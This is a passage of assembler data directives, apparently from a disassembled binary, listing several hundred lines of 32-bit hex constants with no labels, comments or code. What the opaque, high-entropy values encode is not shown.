		dd 0C608070Ch, 2057074h, 339DB304h, 545E3155h, 0BF6F01BCh
		dd 67BA0A30h, 0B7EC2880h, 0F21B145Dh, 3D98FB60h, 0E4104D77h
		dd 2DEA0037h, 0B1190F50h, 490A950Ch, 845C1A3Fh,	8A379100h
		dd 0C527B6h, 0A97EECE6h, 38AAF2E8h, 79950100h, 87B0EE20h
		dd 9D751CA2h, 11CAC005h, 81274AF6h, 0E6AABF00h,	9A4D9E96h
		dd 384B7356h, 91007B89h, 0DB24511h, 0BF0090D4h,	6EBB44D5h
		dd 0B0F5EEh, 5D62B64Bh,	3C92E643h, 0DCFAFD00h, 81294C40h
		dd 0DA4F007Dh, 0AABBB7Ah, 1E001D7Fh, 0A02D11B3h, 72EDFCFh
		dd 0C4D53E83h, 4AFE7026h, 48003794h, 0E0B95A80h, 73F4EA0Ch
		dd 0A996009Bh, 687C931Ch, 0EC005786h, 27A437D9h, 7BBAD3h
		dd 0D142EB3Eh, 0AD35B789h, 8403C2F8h, 0E64A9BEEh, 98DD8310h
		dd 186775h, 258CB7F9h, 0A1150F81h, 56449200h, 6CD7992Eh
		dd 63B008Ah, 0C478C87Dh, 0CD000BFAh, 252EBDF7h,	7B987B8Bh
		dd 0C5A900EFh, 13C1F99Fh, 0B7983BFDh, 6C47E900h, 1DAB4AAAh
		dd 205448CCh, 80A9DF03h, 9CF9AE07h, 0A4A84077h,	10089E0h
		dd 4C88F52Fh, 3D2E4EFh,	0E54B8EAFh, 5B906797h, 0F800AE57h
		dd 8B0186D6h, 735CD029h, 130B0052h, 40A036Eh, 4900A467h
		dd 112786FBh, 7A21DA2Fh, 91050029h, 3DA82D12h, 1B00BAADh
		dd 796C6E83h, 8D308Ah, 33D938E2h, 0B5EEE490h, 0D17B9F03h
		dd 0E858115Ch, 755F7A41h, 33900122h, 0D60829DDh, 0BB56CC21h
		dd 0E7FC5700h, 0C1746D2Ah, 0A1630069h, 0A263FEBh, 5400CBBFh
		dd 7487A8Ah, 742D5A0h, 62DFE6F8h, 809DCEA2h, 8BDFDD3h
		dd 3B76F29Bh, 71030970h, 268E2AD6h, 329EE060h, 97C500D0h
		dd 0CEEE01A3h, 0F13D5FADh, 7B69071Fh, 0E8F02696h, 7EF7282h
		dd 89C90621h, 7DEBC090h, 0D200A08Fh, 0B880E65Ch, 0C4573Bh
		dd 0ABC6461Ch, 5103D65h, 15876C00h, 16FA8CAAh, 6D620753h
		dd 700181CBh, 14A2AEC7h, 0AB280E60h, 0CFC9582h,	0BB4F41B3h
		dd 0C01EBEE0h, 0AE403B88h, 12112CF3h, 0E4CC00CFh, 0B4AD9103h
		dd 0D000EF48h, 45A031D1h, 8A9B5Fh, 7D048C2Bh, 67E89432h
		dd 0F3DFC90Bh, 3000DD71h, 0CA882895h, 0BA005FFAh, 44793159h
		dd 5018C8Ah, 54719B42h,	4081C0DBh, 5F001D90h, 0BAD08E29h
		dd 5ABB50h, 4C57EE34h, 0BE0F2B89h, 0AEA22D00h, 3BB51381h
		dd 9ECC00DAh, 90954F01h, 6874838Ch, 17E08A07h, 7FC0E2B6h
		dd 0FFD5DA47h, 0C1F65020h, 43EF8C48h, 54E1F4C5h, 16647C00h
		dd 754D13EEh, 7AA612E8h, 15740196h, 0E43FCFFEh,	0FC000244h
		dd 0CA0B6079h, 9742A3h,	62F46AF6h, 0B7666D26h, 8200C5E4h
		dd 0A961EC39h, 1250FB3Eh, 986B3Bh, 11E7F97Ch, 0F74C4460h
		dd 0B20E0033h, 627C2BB1h, 0D1FED2h, 151C0A3Fh, 16423611h
		dd 61C37400h, 0AAC1310Fh, 0FBA70017h, 0EEE05485h, 50070947h
		dd 4C909624h, 59839C3h,	9D4505E0h, 9ECC00F3h, 90C8EAF9h
		dd 0B262C906h, 1B8A6D8h, 2BC78911h, 40ECF748h, 8CAE96FCh
		dd 0BCD65E07h, 6CF05866h, 3AB3C6h, 22B2B1F3h, 0DAB0EB7Dh
		dd 7E770700h, 285CEA80h, 0A0A91E3Ch, 40D7DF17h,	77094AECh
		dd 3D7DE2F2h, 66988B07h, 7190681Ch, 1D53804Ch, 0DB3194h
		dd 0B50926B0h, 9700A4F9h, 23052FADh, 770A73E3h,	506F00BBh
		dd 0DE511657h, 2E1ED1DCh, 8AC034B6h, 11C0D5BCh,	98D00077h
		dd 7C8F77Ch, 0FA00B830h, 2784685Ch, 51829Fh, 0E01006B7h
		dd 0DFE9E13Eh, 7BFBC403h, 0D8351B7Dh, 3E860F3h,	2485698Dh
		dd 5EB841ABh, 1100F58Eh, 0F61BEB4Dh, 76679F42h,	7360C1D7h
		dd 0ECAD9845h, 0CE50E42Bh, 0E21209CCh, 94001893h, 0B52D0EAFh
		dd 0FEF6E0F1h, 0FCE500D9h, 74029C3Eh, 6B005011h, 2AFF89CEh
		dd 4441B2h, 0A584E638h,	0C842F462h, 3263DF01h, 66264CFEh
		dd 3992E840h, 43C31DFAh, 36007F46h, 489812A3h, 0E82835CAh
		dd 0FC76949Dh, 0A59E5401h, 41DCEE3Eh, 87E9C0h, 305DF56Ch
		dd 1F21A851h, 0E8AB3A00h, 0B83186AEh, 4FD14C1h,	7C07C723h
		dd 0A3F4B54Ch, 0C7B8F552h, 3600DA37h, 833E7AFDh, 989093E7h
		dd 820C0188h, 0A61B9D96h, 0BC08E836h, 7DB0C107h, 15C01252h
		dd 0F01D89h, 5CCD3762h,	0F37732A8h, 0B120F2A0h,	7C9428C0h
		dd 98E196h, 1F9EB425h, 0A3F29C64h, 0EB7B0507h, 0E351DFE2h
		dd 0D1314EB6h, 0B345F4h, 0E7BA9037h, 23A9361Eh,	0D593CD03h
		dd 0A9C720ACh, 0B420C6FEh, 59E50035h, 0B0145EEEh, 8005BB8h
		dd 0BF10581Eh, 1E6BF2BAh, 0FF8CB6C5h, 7D04AA3Dh, 812735D9h
		dd 426E56F8h, 0E04053A9h, 0BA16BBA4h, 3C406072h, 9070EB6Fh
		dd 30C776Bh, 95330D36h,	2480BDB1h, 4700FD65h, 0A6938DA3h
		dd 68B7BFh, 9E7967E7h, 8A5C7C0h, 4B2D221Eh, 28141092h
		dd 0F5007507h, 0C69C16BDh, 18DD91h, 90CD7A81h, 3C1EFFEh
		dd 0D77B701h, 2219A6FBh, 49D03880h, 733774D8h, 0CA9DB1Ch
		dd 0E04ECFCEh, 7005F24Ah, 9456028Eh, 0A0D7BA7Bh, 528F8840h
		dd 1FBE5Ch, 6EFBDA73h, 926A6DB7h, 0EC940248h, 169D4EBh
		dd 258807Fh, 6AD7E6h, 0AE468B4Dh, 179309FBh, 0BFAC3000h
		dd 0D813F61Ah, 0C9EEBDh, 0B1E4D06Eh, 7C64227Bh,	0F7122F73h
		dd 0B0000AE0h, 70EEB350h, 891A006Bh, 2EF1B6D0h,	0A90740D3h
		dd 4C4DF57Fh, 25BD6570h, 0C1C600B3h, 0D5A5111Bh, 0CC01D988h
		dd 3B2CCAA8h, 0C020C046h, 47C13F94h, 7C80A33Dh,	78F341D6h
		dd 5000DDB3h, 167DB52h,	3B63FEh, 4C46931Dh, 836FD904h
		dd 0CECB8201h, 16CAC4AEh, 0A052D3DFh, 262DB1B8h, 81A088AFh
		dd 8C3BEA07h, 0C0D2F838h, 20D78451h, 9C013CF0h,	4CB646D9h
		dd 0FDD0F5DFh, 35871CEAh, 0C08D8072h, 42303C89h, 3BC9D000h
		dd 0FC5E4029h, 0E484004Dh, 2D2E3513h, 640ECDABh, 0C006E93Ah
		dd 0D25AE17Dh, 0DB4E0092h, 82A051A2h, 0BC014DCCh, 5DAD9D11h
		dd 48F0F9AEh, 505E0F29h
		dd 0ACEE49A0h, 0D08446A0h, 20DF92E7h, 83FE1B1Eh, 34BD9927h
		dd 6840E7DDh, 2FAC020h,	0BEE1234Eh, 18839CC3h, 693AC882h
		dd 428178DDh, 361FD8h, 5513A839h, 9ED2F4ACh, 0B372961Ch
		dd 0FC40CD98h, 3CBC065Dh, 0A1A28C1Eh, 7DBEFD00h, 81DB99Ah
		dd 99A90032h, 4CE980E4h, 0CF00E51Fh, 9C8FD2B0h,	1D52AF9Dh
		dd 409AD7E1h, 0CC79BCB8h, 0B013B0Fh, 0AD422E87h, 599494E8h
		dd 0ECAA04A0h, 7E50004Bh, 0DAA0A66h, 0A60043B0h, 0AF806C37h
		dd 3871D4Fh, 4405AECh, 41C17E70h, 0D022E1EBh, 661F13EAh
		dd 6400A10Bh, 680ECD04h, 99A00E7Dh, 25A03072h, 0D8E9B7Bh
		dd 0AB000FE8h, 0A2483DF9h, 3E4C4237h, 0A017E8Ah, 32415CADh
		dd 953EE06Fh, 1D6DA100h, 50028B2Ch, 0A562029Ch,	5579FD1Ah
		dd 0E4A6D840h, 0C39772Ch, 0D995F702h, 0D43BE3F9h, 42FDCC80h
		dd 0FE9C900Eh, 3AA33203h, 0A913DB28h, 2E0287B0h, 89B21310h
		dd 8471081Fh, 427EAA22h, 863212Dh, 3690AE1Ah, 48BBF484h
		dd 0E84D4207h, 0C6245224h, 0AB222985h, 11044246h, 0E1210BBEh
		dd 6B84AF10h, 287A4AEBh, 94B09B08h, 0ED113C73h,	0AC621E7h
		dd 94A05CFEh, 2A112897h, 592211E3h, 10A91411h, 0E50040FBh
		dd 0D8107E02h, 0FA00AF7Dh, 0B02078CFh, 0D0A739h, 40D2AE8Ch
		dd 5A6D4E1Bh, 0A8E86800h, 0CDD8AB8Dh, 0CE97007Ch, 38192907h
		dd 4C02202Dh, 58DDD09Ch, 0D52C0F9h, 1FE50037h, 0D93BC6C2h
		dd 0E13BC5DEh, 410C80B6h, 440999A3h, 0EF550E9Eh, 0E020F45Fh
		dd 0C630516Bh, 0F9894107h, 0FDE18CC8h, 0C9E306D4h, 55C47AA9h
		dd 0BCB40087h, 68E14A15h, 0C800DDB6h, 1A93F519h, 0EE84C1h
		dd 292317DEh, 9B753A18h, 908F4924h, 0EDB2803Dh,	95D2D994h
		dd 0F45E3EE5h, 5DBA8B0Ch, 0ADEAB9E0h, 482B0A30h, 30D29257h
		dd 31130D3h, 0F00021D4h, 0E8182CDCh, 24CE3436h,	0C04355h
		dd 0EEA31B2Eh, 3A000B11h, 0C6B285C9h, 9C7E3BBh,	0D9FF7A7Dh
		dd 74FE3A00h, 913BB67Bh, 0BEA61D9Eh, 755BD700h,	3FDF76h
		dd 4F43CF05h, 0CA82225Ch, 6019DE00h, 0AD11C554h, 0D02B0079h
		dd 0CF8BAE25h, 163EDB77h, 0B2F600AFh, 5854F88Ch, 6E0C019Eh
		dd 879BDF20h, 0F1D5E0ABh, 10DA8B00h, 0FFB79CA6h, 0FB7700A3h
		dd 959AC686h, 70E711DFh, 0F022D10h, 812591A6h, 70CC80B5h
		dd 5CAAA7h, 7A0DEA69h, 3CDD48D0h, 0CD26A007h, 0D9F01617h
		dd 0F5F741h, 684C2A2h, 2AE0DCBDh, 140062FEh, 4AED4DE3h
		dd 19938B3h, 0B5AF2315h, 0F0F76145h, 9000638Bh,	0CBEE460Dh
		dd 108CDEFh, 0CF7597E6h, 30567012h, 97A4414h, 0B000DB78h
		dd 8CEBCC9Bh, 90B9F4h, 0DC6465CEh, 3E945479h, 805CED48h
		dd 206FCA9Eh, 0FBCF688h, 8E6EFEBBh, 0FCED01A0h,	0DB00B3E5h
		dd 0DA82B9EFh, 76D64888h, 0BE570002h, 0C93CB0E8h, 5C00689Ch
		dd 0C1DE8619h, 0E0ABAC5h, 3F14E3BDh, 6604CEA0h,	938072Fh
		dd 7581005Fh, 7D601FD0h, 144D008Ch, 68A7F9FCh, 0CA0F13F6h
		dd 0E0C130D6h, 322CD3E7h, 0B4AA247Bh, 17498048h, 3F61D1A1h
		dd 70D88550h, 0E1B86000h, 10C3E5B1h, 0C70B00A5h, 9337EA65h
		dd 3D3D55FBh, 0EEAE00A3h, 47418203h, 10FE6039h,	0DB0946CBh
		dd 9D8A541Ch, 223500FAh, 191B25A1h, 67D61F36h, 0ECAC559h
		dd 5AB0093Ah, 0AA0B3380h, 0A2002555h, 0C75D711Bh, 0E5834Eh
		dd 0EE9B7C1Eh, 487E1401h, 0BCF1DB00h, 77EDADA4h, 0AB2E0CB5h
		dd 49185B15h, 6A6FB09h,	0F78000B3h, 0C217Bh, 0DAB7E084h
		dd 4DD8E3F5h, 61A4CF50h, 94FCEAFCh, 36E6D400h, 9855F09Eh
		dd 70B7C02h, 31F28FCh, 2A8871F9h, 4D80CC14h, 0A1624B00h
		dd 0A45AE313h, 0F8590016h, 850E24BDh, 52006A7Ch, 68614619h
		dd 0B137C9h, 0EB204704h, 64E5C056h, 980062D3h, 8D0B8265h
		dd 4EFD0059h, 0ABF84D7Ah, 203EB930h, 5139804Fh,	0EDD89BC1h
		dd 69E500DDh, 0AB2C0828h, 1700FD5Eh, 99AA8759h,	1CA5BEBAh
		dd 26521DCCh, 26910080h, 0ADB31B8Dh, 441CD860h,	9B13B8h
		dd 0DE308197h, 783722EEh, 92C0F507h, 0A00F64B3h, 71409D58h
		dd 1C470016h, 0B5CD63E6h, 89724826h, 1F11E100h,	0F05E546h
		dd 84E238A8h, 0B324C102h, 0FC40AE3Dh, 6E797D5Ah, 4C001098h
		dd 282933DFh, 41A7F3h, 0A8963E08h, 0CFCE192Dh, 960DB14h
		dd 0E9D424C4h, 8D401D1Eh, 8A5BB76Ch, 15B409A1h,	3C00A7BEh
		dd 66493CD6h, 7D789AF6h, 35CA902h, 60C4E1A0h, 884A8A84h
		dd 0AB00FA5Ah, 0B210939Dh, 85806Dh, 0C7C4A3F7h,	6E19D3BBh
		dd 95221D07h, 8B90E3E7h, 9AD5A2B1h, 0BA340098h,	6CA4E2E1h
		dd 0C561AA68h, 819218E8h, 0D08988BFh, 0E801FE3Ah, 0D031CBDBh
		dd 0C8009915h, 8CC4F7F6h, 1E7F62D7h, 0C0E4B776h, 825C94A9h
		dd 9E0E302h, 42521400h,	0C589CE44h, 0CA150095h,	0C9048657h
		dd 1D18103Eh, 7E293F12h, 791600B0h, 0F2259072h,	0E500ED64h
		dd 71612130h, 97E75Eh, 0BC68E4D9h, 0EBA8593Dh, 0AD9DB100h
		dd 1224301Ah, 83B50087h, 4B8E458Dh, 50068BEh, 9E5232E8h
		dd 0EEA16073h, 5AED3E9Bh, 51F79300h, 0D5540D4Dh, 7D25E8FDh
		dd 1DE33Fh, 3ACB2D49h, 1D0EED33h, 0C05747A7h, 73918964h
		dd 0C458D635h, 1D7B1370h, 2D2F3501h, 8CC80954h,	8BB3EB3h
		dd 38989680h, 0D888D629h, 32EB400h, 4B7D77BFh, 52FE00D0h
		dd 0A01D5BEFh, 45E830DEh, 975CAE00h, 6AC777AAh,	99C50079h
		dd 0C052F39Eh, 0F900DF4Ah, 0E85B9C1Dh, 5804633h, 317020D9h
		dd 4F1C80EDh, 8A0118F9h, 5BDB1BBDh, 0C24CB2Eh, 32B2097Dh
		dd 54201033h, 0C30175A3h, 27AD1712h, 8936F800h,	0FA8418Eh
		dd 7A66B8F5h, 43A75BC1h, 3B2B98Bh, 0EC7075C3h, 0A048834Ch
		dd 2D7ABCh, 6E6FE210h, 3618B063h, 340D9F00h, 405B0F92h
		dd 0B5900091h, 784D7FB3h, 0F8014A42h, 4AF1EACh,	0C830241Ah
		dd 1E5AB859h, 5E88FE40h, 0DB8C8053h, 0BB869BBh,	0C2D4E900h
		dd 4904D968h, 0DEEF189Fh, 0AF622ABFh, 9E1BB338h, 0C95F7E97h
		dd 98A05100h, 98B5308Dh, 6A670071h, 950320FEh, 80007F35h
		dd 0F040A270h, 0E42C85A1h, 0E37A3Fh, 449450F5h,	9F05D464h
		dd 2F8BAB00h, 519912E1h, 0DAE702A1h, 0FE2795EFh, 71EDFC41h
		dd 70A0503Bh, 6D074C75h, 79839B1Ah, 0E6E11CB0h,	7D1090C5h
		dd 0FFECC08Bh, 6419447Eh, 4BA39A00h, 0E886CD5Fh, 0C3BB004Ah
		dd 1EE4EAD8h, 0C7008F62h, 0EE05B6Dh, 0E26BBF4Fh, 402E008Dh
		dd 0B37FB50Fh, 1090A807h, 152CFA10h, 55627B80h,	1800A03Eh
		dd 0A873396h, 0F89112h,	0E9F29E95h, 0C73A5D2Fh,	99BF9A0Eh
		dd 6001570Fh, 34C2D707h, 1BBAD4h, 88D06DDEh, 54133C6Bh
		dd 0D1E43800h, 0F0E94A8Dh, 0EAC600D4h, 0C2E32A5Eh, 6FFA7D1Bh
		dd 14857505h, 88D01C96h, 0F3E763h, 7751DB67h, 5422D3C1h
		dd 0A403F891h, 0D8A1D1D9h, 2EA30D67h, 40C01DC7h, 20EE56BCh
		dd 6FDFB81Eh, 0DB0043E6h, 25F88380h, 0C1630070h, 153161DCh
		dd 0EB016768h, 0D9DDDB14h, 0E6D6AAC4h, 6C9F00FCh, 0D8B4C12Ch
		dd 2D171302h, 0CC0BFC08h, 0A9440092h, 0EC4BC7h,	3539039Dh
		dd 9EA3283h, 0DB3BFC00h, 0CE56D58h, 0F91200A8h,	1DAC0415h
		dd 9F0E8744h, 7EB33892h, 0FC96E5C0h, 5E1F1h, 67279E60h
		dd 0C1FA9DF9h, 0F41DD026h, 9668AD84h, 40A71480h, 2434B884h
		dd 9DC4FD8Ch, 0BA0B405Ch, 539E31A9h, 89BCD3A0h,	57CBEA1Dh
		dd 180DCFCh, 95AC25B9h,	0F8307D31h, 70D20386h, 790F327Fh
		dd 0D0B40BD3h, 1A18EC28h
		dd 81D39D3Eh, 5E75FD4Ah, 8FF0E2C7h, 0DF3000B7h,	0CC7E33B3h
		dd 5F0E5D9Dh, 602AD63Eh, 847C8997h, 139737Bh, 0B98FBD44h
		dd 303A352Eh, 3098A14Ah, 380D160Eh, 7F9A20F9h, 24118722h
		dd 74C3AAh, 4F8F943Fh, 0CD03D963h, 20D399C2h, 72F8F82Eh
		dd 0A6FE001Fh, 671E0F42h, 3300D64Ah, 0A4FCD9F6h, 70CEABh
		dd 5D7C989Eh, 3221CA84h, 0AC4E2710h, 968D007Fh,	29949E9Bh
		dd 471CF75Fh, 6F413F0Eh, 0EC4679A1h, 22E850C1h,	0FC7317A8h
		dd 0AEB00251h, 10580A2Ah, 0A612E005h, 0BC547413h, 46E703F3h
		dd 0A8E304D7h, 3C2B29h,	9A57760Fh, 85C68BA2h, 3FDF9C03h
		dd 91CE170Ch, 3030ADB4h, 0FE71BBh, 6E5E4856h, 0E7A20792h
		dd 74002FF6h, 0C9DA1C95h, 9E9CC1Eh, 8716B4ACh, 13E4D287h
		dd 31C094B2h, 0F300F904h, 368DD245h, 6335F7h, 0E3376688h
		dd 74A24A1Bh, 20075E2h,	15308BEBh, 758A3EFCh, 0F58E000Dh
		dd 90244C67h, 33008FA2h, 1C1113BDh, 0D2F71Eh, 0E5859E9Ah
		dd 0B13BC751h, 7444C600h, 12F8E14Ah, 1DAF01AEh,	3A17D311h
		dd 0CD36D07Ch, 691DA778h, 6640929Bh, 35E3D61Fh,	0B36A1886h
		dd 382BB427h, 5E426702h, 80AE26A8h, 0BD410484h,	0D7B7097Ah
		dd 0D0837407h, 0CF88B02Ch, 821D262Bh, 3740837Fh, 607A5484h
		dd 75093932h, 19E9AC03h, 3B88763Fh, 9100FC78h, 83A43508h
		dd 3473A2Ch, 43D466F3h,	0F9A0EF36h, 0AC3EE696h,	2B6B568h
		dd 2608887h, 61AA6D5Ah,	5F1210A5h, 6ED34078h, 6200D34Fh
		dd 5E7A2C8Ah, 7A1B3B8Bh, 54720023h, 76827311h, 7E00AA6Eh
		dd 5A7F2FADh, 1AEB690h,	2C6824EEh, 40F1F4C3h, 4D861FC8h
		dd 0FAA16300h, 9891104Eh, 1DA27D5Eh, 0C0327939h, 0DCD58ED7h
		dd 171D8919h, 7453873h,	0ED012DA3h, 0C4A2C8Dh, 4013ECh
		dd 424E16E3h, 6EE1319Bh, 0AC00CB72h, 657A0763h,	5704A8h
		dd 5FC79A96h, 0DBCFAF53h, 0D68FF100h, 0B043A427h, 587503FCh
		dd 3918C114h, 406A96C1h, 0F9880FCCh, 16739D80h,	40281B98h
		dd 0A7715C50h, 0DA6064A9h, 1FDF0B98h, 0E7481h, 2C41C0BDh
		dd 8825524Dh, 480C3048h, 66C10146h, 0ACE7F16h, 0A03770h
		dd 8C711C1Dh, 0A829CC0Dh, 0A9DBE900h, 89A43673h, 37E203FBh
		dd 0F53B043Dh, 77C97826h, 61DD2609h, 2C315E78h,	0FC5B400h
		dd 0A1A8625Fh, 0A1C00C6Ch, 3D013699h, 848CDD93h, 2FCC38BCh
		dd 30145820h, 0F4C56C0Eh, 0B593B40h, 4963AA9h, 831FBB1Ch
		dd 0E22891C0h, 7E75491Fh, 0CFC60036h, 0AF8A5D1Eh, 0A600F257h
		dd 1904138Eh, 8404Bh, 0E6DF77D4h, 5909F79Ch, 0D30F870Eh
		dd 0F19BA094h, 11285C8h, 7101D9E1h, 3C41A176h, 0B2290068h
		dd 0CF1B993Bh, 0E8874C72h, 7C16C506h, 9100D175h, 992CD745h
		dd 10EF9Dh, 8954E3E1h, 0C8CD934h, 369F331Dh, 9C5293C1h
		dd 2CF9C74Eh, 3D023D4h,	79F1D4AFh, 0C39555E1h, 2A893864h
		dd 318BBAEh, 43A001B8h,	2009F08Ch, 0C2701B06h, 20EF2182h
		dd 17FDE0A1h, 5D62407h,	8C52D546h, 58D847h, 0F5C66E1Eh
		dd 440C422h, 0D9561030h, 393888C8h, 0B3006BBAh,	30151B09h
		dd 9800750Fh, 5F3960Ah,	3E89A1h, 814014BCh, 5569CEAEh
		dd 380424B0h, 0DEA30565h, 3CDA5880h, 0B871FAE4h, 0B9D92E64h
		dd 0CB030054h, 0CD933102h, 86C5F802h, 78767795h, 0B968004Ch
		dd 8B222458h, 98014B40h, 485E41C1h, 202045BFh, 6C7449E4h
		dd 8D4ACD8Fh, 2E8B008Eh, 1FE1EEF5h, 229AE095h, 12FFC83h
		dd 8CAC3ED7h, 0E0FFBF7Bh, 0FDF5406Ah, 1CBDE468h, 0E032FD00h
		dd 1A2BD5B6h, 943C541Dh, 19C7005Fh, 0DC51BEE9h,	4F0021F7h
		dd 3AD783AFh, 8542FEh, 1647563Ch, 0BAD82289h, 7C30FC00h
		dd 0C1ACE745h, 9C010015h, 16F1B8E5h, 800CE57h, 3A325DA3h
		dd 7E9369Dh, 0C495E8A8h, 1AABE002h, 9200EED6h, 762FC6A3h
		dd 1DBC0A11h, 574BA0h, 91D6655Bh, 0A6006692h, 0CDF7BE9Eh
		dd 0F03B994Eh, 0FFBD001Eh, 52B2A4B8h, 0F7EE46D5h, 0FC004074h
		dd 0BADC01FEh, 58876B22h, 0FB030F69h, 201DBFE6h, 4A112800h
		dd 0B1D2C8DDh, 4CDC003Dh, 0CDF50523h, 700FFF3h,	0B23439CBh
		dd 5020537Ch, 8CB56Ah, 92B45CE6h, 1188F95h, 0E40DDE0Fh
		dd 0D307A0A2h, 0FA14AB9h, 2BD92751h, 1178187Ch,	2C002F83h
		dd 5FEDEEFFh, 1687C7Dh,	8866B60Fh, 708CD037h, 7009BBEh
		dd 8EA5AFA1h, 608902E9h, 2205F0C7h, 9500FAB4h, 31903236h
		dd 50D31F18h, 0A9BC23Dh, 0ABFB918Ah, 0C06E00C0h, 8D90AF63h
		dd 70318462h, 24FC041h,	0F2782CD6h, 2A7F00D4h, 726EA831h
		dd 58778FECh, 4F6C3700h, 91E3FF9Ch, 3AA01DCh, 2F0E2156h
		dd 22B0EB75h, 4B0018B5h, 0D39D8F4h, 32CDCAFh, 97A8F8CCh
		dd 0AB82C9BBh, 0C8347260h, 0C0835D0Fh, 113DA335h, 7715882Ch
		dd 0E8FC2Fh, 16D6B080h,	0AD743204h, 1E855300h, 0EEB45D70h
		dd 0CEC224F2h, 0ED4A0076h, 0EC7306E4h, 0D9BDEA0Fh, 68CCA06Bh
		dd 789B8571h, 0F5E90036h, 4CF81C62h, 0C100C6F3h, 0E414E82Ah
		dd 26030605h, 35E647h, 0A760BD90h, 0AF9046A1h, 7700F574h
		dd 0E8C48009h, 18129F1Dh, 78D14931h, 0E11DF7ABh, 2A007073h
		dd 0E66CDEEDh, 0B646002Eh, 0EB96E04Fh, 522EEE34h, 930086F0h
		dd 21AF7A64h, 0FDFC00D6h, 42E83156h, 0C900A7EBh, 1427084Ah
		dd 0D523BFh, 5B9CC21h, 77F4AD5Bh, 22E85A00h, 41833E20h
		dd 0A691000Ch, 0CBA0BEA8h, 0E93C8AFFh, 77AB853Dh, 0A000F31Fh
		dd 0AECEBA1h, 79C21F5Ch, 457E806Ah, 821A3198h, 90CDE800h
		dd 0BF1CDCA4h, 63B33A6Dh, 0FD02ADC8h, 87343BA1h, 12B55140h
		dd 6B71BF2Eh, 85BC9E00h, 0E342FAh, 15C32DEFh, 1B844D60h
		dd 0AF5C671Eh, 520080E4h, 0CA51FE30h, 0BB90A095h, 5ADA009Ch
		dd 0F44418B0h, 0A2008766h, 0FBADB8Bh, 42C2765h,	6F9385D1h
		dd 49E380ECh, 4F3D6B86h, 0A7EA00B6h, 0F0D3C543h, 0A90E0113h
		dd 5A25C04Ch, 0F6AC407Ah, 6A011F42h, 0BC96ECFBh, 0D0432876h
		dd 0D9AEB0B9h, 261D004Bh, 2F5133Fh, 38120575h, 9C40CA50h
		dd 62A230ECh, 50404C64h, 31371400h, 55A45479h, 6C1E5700h
		dd 0A6CCF49Eh, 0AF03C71h, 79CB12h, 0D9EDFE94h, 0BB245954h
		dd 9402A439h, 4029DCB2h, 3E741C9Ch, 0A400EDBDh,	0C100D3Ch
		dd 0FA2648A5h, 0CD0C168Dh, 35C83Bh, 853FD65Ch, 78DFDDD2h
		dd 2CCEF00h, 875F32AFh,	132A4C8Fh, 14A226h, 539D3E85h
		dd 1800C36Ch, 0DF487A6Fh, 723B8F58h, 12401EDCh,	42748496h
		dd 0C0F88059h, 900228Bh, 8FFA7606h, 7296B728h, 0C9FB608Ch
		dd 0FEC2CB16h, 0EFF6D202h, 68E0AF22h, 0B6390Ch,	0A6AA7EFDh
		dd 0F0196D87h, 9750A7FCh, 670393FAh, 91725292h,	24D7D02Ch
		dd 74CB60D8h, 5CA8962Ah, 0AF5F7600h, 1D309C92h,	0D3BE00A7h
		dd 879B418Ch, 0F450F222h, 761825C4h, 0E6B0AA19h, 91581329h
		dd 345840F5h, 9E7C50C6h, 87026874h, 2226F69Ch, 0D40FD27h
		dd 2D0011BFh, 64CB253Ah, 79BB5A0Ch, 27FF00B5h, 948A12EEh
		dd 87026A7Fh, 19D4068Bh, 45514091h, 4D950097h, 0E8E961CBh
		dd 2015CD2h, 0C807E98h,	2E35E36h, 0EED7C980h, 0C08071F9h
		dd 0F6B0953Bh, 3F179C58h, 3DA10006h, 2416AB9Bh,	0CD01013Eh
		dd 1C19C5B4h, 0A75FE41Fh, 78571D00h, 0A95AC27Ch, 0B56F0052h
		dd 41ED21D6h, 0AF0F65F2h, 20B12267h, 6EC54A94h,	0C7810007h
		dd 0B07A34C0h, 130069EEh, 0F4F58E33h, 3C2763h, 0C4288245h
		dd 44A79D0Bh, 0DE0752E4h
		dd 10704CE4h, 3426A400h, 0BC4E0164h, 90650919h,	80EB6112h
		dd 0B7302948h, 20D442h,	5C246FB8h, 0EB5B0BD9h, 75573300h
		dd 0F5C5934Fh, 9D4003F9h, 0CDCE7366h, 89BD5000h, 3879A210h
		dd 41C20017h, 0CFCA6331h, 2600B9F8h, 1054D61h, 0BC1213h
		dd 0ED385825h, 0DC68DD69h, 57649200h, 73CCA20h,	71EA7F70h
		dd 2D0200E4h, 825CF14h,	6A130483h, 2E003446h, 0F6C06BEEh
		dd 0CB950293h, 0B9B07C7Bh, 8DB66440h, 4CEE4500h, 0E69907E0h
		dd 12F61DF0h, 41E19EB5h, 411BD218h, 0C074249Eh,	0B810762Ch
		dd 0ABA3EB60h, 3FE806AAh, 0AA9AAF40h, 635E1E00h, 0B3D04774h
		dd 7FCC0FBEh, 448021CBh, 58E620D3h, 0EF666C09h,	0E03F0F0Bh
		dd 9B09FEF6h, 7790C9h, 0CFD5913h, 9C8FDF3Ah, 0D94D4407h
		dd 0CDB056F8h, 7206FCh,	987FF147h, 0FB229BF7h, 4D15DDA0h
		dd 8A003177h, 44DAAFB3h, 793C211Eh, 309C7953h, 59202F8Fh
		dd 9B58B4ADh, 8BC10581h, 98C0467Eh, 9F3CF6Dh, 0EABE72F8h
		dd 0E1BD3000h, 271C1503h, 0AB875D08h, 85305EA0h, 291DAh
		dd 0DD9C0B8Eh, 0BD5B2C65h, 58002070h, 687BBC5Eh, 74B03808h
		dd 3CC82413h, 7118016Ch, 4396B874h, 84D0BCC1h, 0B60798D5h
		dd 241D12D6h, 836D3510h, 64F2A095h, 0CF871DD3h,	0D2B98094h
		dd 0A3FF7305h, 0D640B501h, 22C6528Ch, 2C694820h, 8008E74Bh
		dd 4342AED2h, 2D24FBB5h, 0F401F46Eh, 1E595A9Bh,	58E39DCh
		dd 13C4B991h, 35A40057h, 6B11AC0Ah, 27834800h, 0C9770215h
		dd 312A6026h, 0E5E84918h, 977A0905h, 68C04D4Ah,	1A6D60Eh
		dd 11D52992h, 0E8BDCA08h, 7D4860F0h, 0B102E17h,	8F3CA800h
		dd 0E1D947Bh, 611CF4DDh, 0E09A1400h, 650C7A56h,	68F84D76h
		dd 0D3E600D0h, 9C59C5E7h, 1F1CDF46h, 12002F31h,	5CD74921h
		dd 7DEA792Dh, 0BEDE007Fh, 0E9D99561h, 30044E26h, 0DBB7F505h
		dd 0F0D3E4C3h, 0CE6387h, 0CF533D22h, 84214739h,	0AC41244Ah
		dd 0FE5DD4E7h, 235FBE8h, 7301275Ah, 0F54074C5h,	0EF00BE90h
		dd 440219C7h, 61ACBh, 3A5633FBh, 0C84AAB8Bh, 0AF6AFC00h
